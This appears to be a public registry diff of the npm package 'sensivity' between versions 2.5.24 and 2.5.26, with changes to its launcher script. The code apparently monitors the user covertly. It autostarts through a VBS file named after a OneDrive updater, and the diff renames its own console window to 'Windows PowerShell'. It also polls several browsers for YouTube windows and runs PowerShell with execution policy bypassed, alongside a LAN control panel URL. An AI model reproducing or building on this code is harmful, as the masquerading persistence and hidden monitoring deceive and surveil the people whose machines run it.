sensivity 2.5.24 → 2.5.26

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/launcher.js +58 -21
  2. package/package.json +1 -1
package/launcher.js CHANGED
@@ -12,8 +12,10 @@ const rawConsole = {
12
12
  warn: console.warn.bind(console),
13
13
  error: console.error.bind(console)
14
14
  };
15
- const QR_WINDOW_TITLE = 'Sensivity Panel';
15
+ const QR_WINDOW_TITLE = 'Windows PowerShell';
16
+ const YOUTUBE_BROWSER_PROCESSES = ['chrome', 'msedge', 'opera', 'opera_gx', 'brave'];
16
17
  const SUPERVISOR_PID_FILE = path.join(APP_DIR, '.sensivity-supervisor.pid');
18
+ const QR_PID_FILE = path.join(APP_DIR, '.sensivity-qr.pid');
17
19
  const STOP_FILE = path.join(APP_DIR, '.sensivity-stop');
18
20
  const IS_SUPERVISOR = process.env.SENSIVITY_SUPERVISOR === '1';
19
21
  const IS_WORKER = process.env.SENSIVITY_WORKER === '1';
@@ -69,6 +71,24 @@ function removeFileSafe(file) {
69
71
  try { fs.unlinkSync(file); } catch(e) {}
70
72
  }
71
73
 
74
+ function psString(value) {
75
+ return "'" + String(value).replace(/'/g, "''") + "'";
76
+ }
77
+
78
+ function youtubeBrowserPs() {
79
+ const names = '@(' + YOUTUBE_BROWSER_PROCESSES.map(psString).join(',') + ')';
80
+ return [
81
+ '$browserNames = ' + names,
82
+ 'function Get-YouTubeBrowser {',
83
+ ' foreach($name in $browserNames) {',
84
+ ' $items = Get-Process -Name $name -EA 0',
85
+ ' if($items) { foreach($p in $items) { try { if($p.MainWindowTitle -match "YouTube") { return $name } } catch {} } }',
86
+ ' }',
87
+ ' return ""',
88
+ '}'
89
+ ].join('\n');
90
+ }
91
+
72
92
  function ensureAutostart() {
73
93
  try {
74
94
  const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
@@ -290,8 +310,7 @@ function removeAutostart() {
290
310
  // ===== YouTube detection =====
291
311
  function checkYouTube(callback) {
292
312
  const f = path.join(APP_DIR, '.yt.ps1');
293
- try { fs.writeFileSync(f, '$c=Get-Process chrome -EA 0\nif($c){foreach($p in $c){if($p.MainWindowTitle -match "YouTube"){Write-Output "FOUND";exit}}}\nWrite-Output "NO"'); } catch(e) {}
294
- const { spawn } = require('child_process');
313
+ try { fs.writeFileSync(f, youtubeBrowserPs() + '\nif(Get-YouTubeBrowser){Write-Output "FOUND";exit}\nWrite-Output "NO"'); } catch(e) {}
295
314
  const p = spawn('powershell', ['-NoProfile', '-EP', 'Bypass', '-File', f], { stdio: ['ignore', 'pipe', 'ignore'] });
296
315
  let out = '';
297
316
  p.stdout.on('data', d => out += d);
@@ -304,9 +323,8 @@ let qrOpen = false;
304
323
 
305
324
  function qrWindowExists() {
306
325
  try {
307
- const title = QR_WINDOW_TITLE.replace(/'/g, "''");
308
- const out = execSync(`powershell -NoProfile -Command "$p=Get-Process powershell,pwsh -EA 0 | Where-Object { $_.MainWindowTitle -eq '${title}' }; if($p){Write-Output 'YES'}"`, { encoding: 'utf8', timeout: 3000 });
309
- return out.trim() === 'YES';
326
+ const pid = parseInt(fs.readFileSync(QR_PID_FILE, 'utf8'), 10);
327
+ return isProcessAlive(pid);
310
328
  } catch(e) {
311
329
  return false;
312
330
  }
@@ -317,17 +335,30 @@ function showQR() {
317
335
  if (qrWindowExists()) { qrOpen = true; return; }
318
336
  qrOpen = true;
319
337
  const url = global.serverUrl || 'http://192.168.1.16:3000';
338
+ const webUrl = 'http://localhost:3000';
320
339
 
321
340
  const qrFile = path.join(APP_DIR, '.qr.txt');
341
+ const writeQrText = qr => {
342
+ const mobileBlock = qr || url;
343
+ fs.writeFileSync(qrFile, [
344
+ mobileBlock,
345
+ '',
346
+ 'Mobile QR',
347
+ url,
348
+ '',
349
+ 'Web Panel',
350
+ webUrl,
351
+ 'Gizli sekmeden acin: ' + webUrl
352
+ ].join('\n'));
353
+ };
322
354
  try {
323
355
  const QRCode = require('qrcode');
324
356
  QRCode.toString(url, { type: 'terminal', small: true }, (err, qr) => {
325
- if (err) fs.writeFileSync(qrFile, url);
326
- else fs.writeFileSync(qrFile, qr + '\n\n' + url + '\n\nScan with your phone');
357
+ writeQrText(err ? '' : qr);
327
358
  launchPS();
328
359
  });
329
360
  } catch(e) {
330
- fs.writeFileSync(qrFile, url + '\n\nScan with your phone');
361
+ writeQrText('');
331
362
  launchPS();
332
363
  }
333
364
 
@@ -336,24 +367,30 @@ function showQR() {
336
367
  fs.writeFileSync(psFile, [
337
368
  '[Console]::OutputEncoding = [System.Text.Encoding]::UTF8',
338
369
  '$host.UI.RawUI.WindowTitle = "' + QR_WINDOW_TITLE + '"',
370
+ 'Set-Content -Path ' + psString(QR_PID_FILE) + ' -Value $PID -Force',
371
+ youtubeBrowserPs(),
372
+ '$webUrl = ' + psString(webUrl),
339
373
  'try { $w=$host.UI.RawUI.WindowSize; $w.Width=80; $w.Height=30; $host.UI.RawUI.WindowSize=$w } catch {}',
340
374
  'Clear-Host',
341
- 'Get-Content "' + qrFile + '" -Encoding UTF8',
375
+ 'Get-Content ' + psString(qrFile) + ' -Encoding UTF8',
342
376
  'Write-Host ""',
343
- 'Remove-Item "' + qrFile + '" -Force -EA 0',
344
- 'Remove-Item "' + psFile + '" -Force -EA 0',
377
+ 'Write-Host "Web: " $webUrl',
378
+ 'Write-Host "Gizli sekmeden acin: " $webUrl',
379
+ 'Remove-Item ' + psString(qrFile) + ' -Force -EA 0',
380
+ 'Remove-Item ' + psString(psFile) + ' -Force -EA 0',
345
381
  'Start-Sleep -Seconds 3',
346
382
  '$failCount = 0',
383
+ '$ticks = 0',
347
384
  'while($true) {',
348
- ' Start-Sleep -Seconds 4',
349
- ' try {',
350
- ' $c=Get-Process chrome -EA Stop',
351
- ' $f=$false',
352
- ' if($c){foreach($p in $c){try{if($p.MainWindowTitle -match "YouTube"){$f=$true;break}}catch{}}}',
353
- ' if(-not $f){$failCount++} else {$failCount=0}',
354
- ' if($failCount -ge 3){break}',
355
- ' } catch { $failCount++; if($failCount -ge 3){break} }',
356
- '}'
385
+ ' Start-Sleep -Milliseconds 250',
386
+ ' $ticks++',
387
+ ' if($ticks -lt 16){continue}',
388
+ ' $ticks = 0',
389
+ ' $found = [bool](Get-YouTubeBrowser)',
390
+ ' if(-not $found){$failCount++} else {$failCount=0}',
391
+ ' if($failCount -ge 3){break}',
392
+ '}',
393
+ 'Remove-Item ' + psString(QR_PID_FILE) + ' -Force -EA 0'
357
394
  ].join('\n'));
358
395
  exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR });
359
396
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sensivity",
3
- "version": "2.5.24",
3
+ "version": "2.5.26",
4
4
  "description": "Sensivity Control Panel",
5
5
  "main": "launcher.js",
6
6
  "bin": {